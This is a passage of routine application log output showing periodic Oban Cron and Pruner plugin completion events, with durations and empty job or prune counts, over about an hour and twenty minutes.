{"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:03:20.019 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:50.021 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:00.844 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:04:20.023 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:50.025 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:00.845 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:05:20.027 [info] {"source":"oban","duration":1092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:50.029 [info] {"source":"oban","duration":982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:00.846 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:06:20.030 [info] {"source":"oban","duration":860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:50.033 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:00.847 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:07:20.035 [info] {"source":"oban","duration":1590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:50.037 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:00.848 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:08:20.039 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:50.041 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:00.849 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:09:20.043 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:50.045 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:00.850 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:10:20.047 [info] {"source":"oban","duration":1303,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:50.049 [info] {"source":"oban","duration":1340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:00.851 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:11:20.051 [info] {"source":"oban","duration":1410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:50.053 [info] {"source":"oban","duration":1594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:00.852 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:12:20.055 [info] {"source":"oban","duration":1174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:50.057 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:00.853 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:13:20.059 [info] {"source":"oban","duration":1001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:50.061 [info] {"source":"oban","duration":1142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:00.854 [info] {"source":"oban","duration":567,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:14:20.063 [info] {"source":"oban","duration":1179,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:50.065 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:00.856 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:15:20.067 [info] {"source":"oban","duration":1364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:50.069 [info] {"source":"oban","duration":1767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:00.857 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:16:20.072 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:50.074 [info] {"source":"oban","duration":1335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:00.858 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:17:20.076 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:50.078 [info] {"source":"oban","duration":1359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:00.859 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:18:20.080 [info] {"source":"oban","duration":1254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:50.082 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:00.860 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:19:20.084 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:50.086 [info] {"source":"oban","duration":1608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:00.861 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:20:20.088 [info] {"source":"oban","duration":1019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:50.090 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:00.862 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:21:20.092 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:50.094 [info] {"source":"oban","duration":973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:00.863 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:22:20.096 [info] {"source":"oban","duration":910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:50.098 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:00.864 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:23:20.100 [info] {"source":"oban","duration":1013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:50.102 [info] {"source":"oban","duration":1221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:00.865 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:24:20.104 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:50.106 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:00.866 [info] {"source":"oban","duration":279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:25:20.108 [info] {"source":"oban","duration":1338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:50.110 [info] {"source":"oban","duration":1276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:00.867 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:26:20.112 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:50.114 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:00.868 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:27:20.116 [info] {"source":"oban","duration":1048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:50.118 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:00.869 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:28:20.120 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:50.122 [info] {"source":"oban","duration":920,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:00.870 [info] {"source":"oban","duration":326,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:29:20.124 [info] {"source":"oban","duration":995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:50.126 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:00.871 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:30:20.128 [info] {"source":"oban","duration":1256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:50.130 [info] {"source":"oban","duration":1204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:00.872 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:31:20.131 [info] {"source":"oban","duration":886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:50.134 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:00.874 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:32:20.136 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:50.138 [info] {"source":"oban","duration":1340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:00.875 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:33:20.140 [info] {"source":"oban","duration":1321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:50.142 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:00.876 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:34:20.144 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:50.146 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:00.877 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:35:20.148 [info] {"source":"oban","duration":1348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:50.150 [info] {"source":"oban","duration":1184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:00.878 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:36:20.152 [info] {"source":"oban","duration":926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:50.154 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:00.879 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:37:20.156 [info] {"source":"oban","duration":1241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:50.158 [info] {"source":"oban","duration":1155,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:00.880 [info] {"source":"oban","duration":470,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:38:20.160 [info] {"source":"oban","duration":1183,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:50.162 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:00.881 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:39:20.163 [info] {"source":"oban","duration":922,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:50.166 [info] {"source":"oban","duration":1158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:00.882 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:40:20.168 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:50.170 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:00.883 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:41:20.172 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:50.174 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:00.884 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:42:20.176 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:50.178 [info] {"source":"oban","duration":1386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:00.885 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:43:20.180 [info] {"source":"oban","duration":1339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:50.182 [info] {"source":"oban","duration":1388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:00.886 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:44:20.184 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:50.186 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:00.887 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:45:20.188 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:50.190 [info] {"source":"oban","duration":1179,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:00.888 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:46:20.192 [info] {"source":"oban","duration":1258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:50.194 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:00.889 [info] {"source":"oban","duration":548,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:47:20.196 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:50.198 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:00.890 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:48:20.199 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:50.201 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:00.891 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:49:20.203 [info] {"source":"oban","duration":1546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:50.205 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:00.892 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:50:20.207 [info] {"source":"oban","duration":1572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:50.209 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:00.893 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:51:20.211 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:50.213 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:00.894 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:52:20.215 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:50.217 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:00.895 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:53:20.219 [info] {"source":"oban","duration":1345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:50.221 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:00.896 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:54:20.223 [info] {"source":"oban","duration":1427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:50.225 [info] {"source":"oban","duration":1634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:00.897 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:55:20.227 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:50.229 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:00.898 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:56:20.230 [info] {"source":"oban","duration":932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:50.233 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:00.899 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:57:20.235 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:50.237 [info] {"source":"oban","duration":1421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:00.901 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:58:20.239 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:50.241 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:00.902 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:59:20.243 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:50.245 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:00.903 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:00:20.247 [info] {"source":"oban","duration":1205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:50.249 [info] {"source":"oban","duration":1321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:00.904 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:01:20.251 [info] {"source":"oban","duration":1781,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:50.254 [info] {"source":"oban","duration":1393,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:00.905 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:02:20.256 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:50.258 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:00.906 [info] {"source":"oban","duration":315,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:03:20.260 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:50.262 [info] {"source":"oban","duration":1030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:00.907 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:04:20.264 [info] {"source":"oban","duration":1061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:50.266 [info] {"source":"oban","duration":932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:00.908 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:05:20.268 [info] {"source":"oban","duration":1129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:50.270 [info] {"source":"oban","duration":1448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:00.909 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:06:20.272 [info] {"source":"oban","duration":1390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:50.274 [info] {"source":"oban","duration":1606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:00.910 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:07:20.276 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:50.278 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:00.911 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:08:20.280 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:50.282 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:00.912 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:09:20.284 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:50.286 [info] {"source":"oban","duration":1253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:00.913 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:10:20.288 [info] {"source":"oban","duration":1131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:50.290 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:00.914 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:11:20.292 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:50.294 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:00.915 [info] {"source":"oban","duration":279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:12:20.296 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:50.298 [info] {"source":"oban","duration":1063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:00.916 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:13:20.300 [info] {"source":"oban","duration":1431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:50.302 [info] {"source":"oban","duration":959,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:00.917 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:14:20.304 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:50.306 [info] {"source":"oban","duration":1692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:00.918 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:15:20.308 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:50.310 [info] {"source":"oban","duration":1697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:00.919 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:16:20.312 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:50.314 [info] {"source":"oban","duration":1278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:00.920 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:17:20.316 [info] {"source":"oban","duration":1418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:50.318 [info] {"source":"oban","duration":1642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:00.921 [info] {"source":"oban","duration":253,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:18:20.320 [info] {"source":"oban","duration":1338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:50.322 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:00.922 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:19:20.324 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:50.326 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:00.923 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:20:20.328 [info] {"source":"oban","duration":1421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:50.330 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:00.924 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:21:20.332 [info] {"source":"oban","duration":1249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:50.334 [info] {"source":"oban","duration":1405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:00.925 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:22:20.336 [info] 